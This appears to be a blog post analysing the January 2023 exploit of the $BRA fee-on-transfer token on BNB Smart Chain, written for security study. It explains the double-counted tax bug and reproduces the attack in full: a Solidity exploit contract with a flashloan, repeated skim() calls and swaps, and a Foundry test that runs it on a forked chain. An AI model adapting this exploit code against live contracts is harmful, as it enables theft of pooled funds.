- Published on
Breaking Down the $BRA Token Contract Exploit - An In-Depth Look
- Authors
- Name
- codebuff
Logic Error in $BRA Token Contract on BSC
On January 10,2023 a logic error in the $BRA token contract on BSC resulted in an exploit and a loss of ~224k. Here's my breakdown of the exploit:
Hacker obtained a 1000 $WBNB flashloan from DoDo.
Swapped the entire amount for $BRA tokens.
Sent all $BRA tokens to the BRA-USDT pancake pair.
Called the skim(address to) function on the pair contract repeatedly to increase $BRA token balance on the BRA-USDT pair contract. This address was to pair contract address.
$BRA token contract imposes a tax when a transfer happens and this tax goes to the BRA-USDT pair.
Due to a logic error, the tax amount was added twice to the BRA-USDT pair, causing it to go out of sync and resulting in a higher BRA balance than reserve value.
if(sender==uniswapV2Pair&&!recipientAllow){
taxAmount = amount.div(10000).mul(BuyPer);
BuyTaxTo_ = ConfigBRA(BRA).BuyTaxTo();
}
if(recipient==uniswapV2Pair&&!senderAllowSell){
taxAmount = amount.div(10000).mul(SellPer);
SellTaxTo_ = ConfigBRA(BRA).SellTaxTo();
}
Attacker then called the swap function on the pair and obtained USDT.
USDT was swapped for BNB, resulting in a profit of ~675 BNB in the first go.
Attacker repeated the process to gain an additional ~144 BNB.
I have successfully reproduced the issue in Foundry. Check out my GitHub repo for more details. #smartcontractsecurity #cryptosecurity #foundry #solidity
Sample Exploit Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import {IDPPAdvanced} from "./Interfaces.sol";
import {IWBNB} from "./Interfaces.sol";
import {IPancakeRouter} from "./Interfaces.sol";
import {IERC20} from "./Interfaces.sol";
import {IPancakePair} from "./Interfaces.sol";
import "forge-std/console.sol";
// https://tx.eth.samczsun.com/binance/0x4e5b2efa90c62f2b62925ebd7c10c953dc73c710ef06695eac3f36fe0f6b9348
contract BRAExploit {
address private constant DPP_Advanced =
0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address private constant BRA = 0x449FEA37d339a11EfE1B181e5D5462464bBa3752;
address private constant USDT = 0x55d398326f99059fF775485246999027B3197955;
address private constant BRA_USDT_PAIR =
0x8F4BA1832611f0c364dE7114bbff92ba676AdF0E;
address private constant PANCAKE_ROUTER =
0x10ED43C718714eb63d5aA57B78B54704E256024E;
function exploit() external {
bytes memory _data = hex"78786173"; // any bytes
console.log("Requesting flashloan..");
// Request 1000 wbnb flashloan from DODO
IDPPAdvanced(DPP_Advanced).flashLoan(
1000 ether,
0,
address(this),
_data
);
// Send profit back to message sender
(bool sent, ) = payable(msg.sender).call{value: address(this).balance}(
""
);
require(sent, "Failed ETH Transfer");
}
function DPPFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external {
require(msg.sender == DPP_Advanced);
require(keccak256(data) == keccak256(hex"78786173"));
// Convert WBNB to BNB
uint256 bnbBalanceBefore = IWBNB(WBNB).balanceOf(address(this));
console.log("Flashloan received: %d WBNB", bnbBalanceBefore);
console.log("Converting WBNB to BNB .. ");
IWBNB(WBNB).withdraw(bnbBalanceBefore);
// Swap BNB for BRA token
console.log("Swapping BNB for BRA token ..");
address[] memory pathBNBToBRA = new address[](3);
pathBNBToBRA[0] = WBNB;
pathBNBToBRA[1] = USDT;
pathBNBToBRA[2] = BRA;
IPancakeRouter(PANCAKE_ROUTER).swapExactETHForTokens{value: 1000 ether}(
0,
pathBNBToBRA,
address(this),
block.timestamp
);
// Transfer all BRA token balance to BRA_USDT pair
console.log(
"Transfering BRA token received from the swap to BRA-USDT pair.."
);
uint256 braBalanceBefore = IERC20(BRA).balanceOf(address(this));
uint256 pairBraBalanceBefore = IERC20(BRA).balanceOf((BRA_USDT_PAIR));
IERC20(BRA).transfer(BRA_USDT_PAIR, braBalanceBefore);
console.log("Calling skim() funtion on the pair repeatedly..");
for (uint256 i = 0; i < 100; i++) {
IPancakePair(BRA_USDT_PAIR).skim(BRA_USDT_PAIR);
}
uint256 pairBraBalanceAfter = IERC20(BRA).balanceOf(BRA_USDT_PAIR);
address[] memory pathBRAToUSDT = new address[](2);
pathBRAToUSDT[0] = BRA;
pathBRAToUSDT[1] = USDT;
uint256[] memory output = IPancakeRouter(PANCAKE_ROUTER).getAmountsOut(
pairBraBalanceAfter - pairBraBalanceBefore,
pathBRAToUSDT
);
// Call swap and receive USDT
console.log(
"Received %d USDT by calling the pair swap() function",
output[1]
);
IPancakePair(BRA_USDT_PAIR).swap(0, output[1], address(this), "");
IERC20(USDT).approve(PANCAKE_ROUTER, type(uint256).max);
// convert USDT back to BNB
address[] memory pathUSDTToBNB = new address[](2);
pathUSDTToBNB[0] = USDT;
pathUSDTToBNB[1] = WBNB;
console.log("Selling USDT for BNB..");
IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForETH(
IERC20(USDT).balanceOf(address(this)),
0,
pathUSDTToBNB,
address(this),
block.timestamp
);
// Convert BNB to WBNB
console.log("Converting 1000 BNB to WBNB..");
IWBNB(WBNB).deposit{value: 1000 ether}();
// Payback flashloan
console.log("Paying back 1000 WBNB flashloan to DODO..");
IWBNB(WBNB).transfer(msg.sender, 1000 ether);
}
receive() external payable {
// React to receiving ether
}
}
Foundry test
// SPDX-License-Identifier:MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import {BRAExploit} from "../../src/BRA/BRAExploit.sol";
// Reproducing BRA exploit in BNB chain
// https://twitter.com/CertiKAlert/status/1612674916070858753
// https://twitter.com/BlockSecTeam/status/1612701106982862849
// https://tx.eth.samczsun.com/binance/0x4e5b2efa90c62f2b62925ebd7c10c953dc73c710ef06695eac3f36fe0f6b9348
contract BRAExploitTest is Test {
BRAExploit braExploit;
function setUp() public {
//Fork BSC chain at block 24656140 . Which is few blocks before the hack.
vm.createSelectFork("https://bsc-dataseed.binance.org/", 24655000);
braExploit = new BRAExploit();
}
function testExploit() public {
uint256 bnbBalanceBefore = address(this).balance;
braExploit.exploit();
console.log(
"Total profit:",
(address(this).balance - bnbBalanceBefore)
);
assert(address(this).balance - bnbBalanceBefore > 0);
}
receive() external payable {
// React to receiving ether
}
}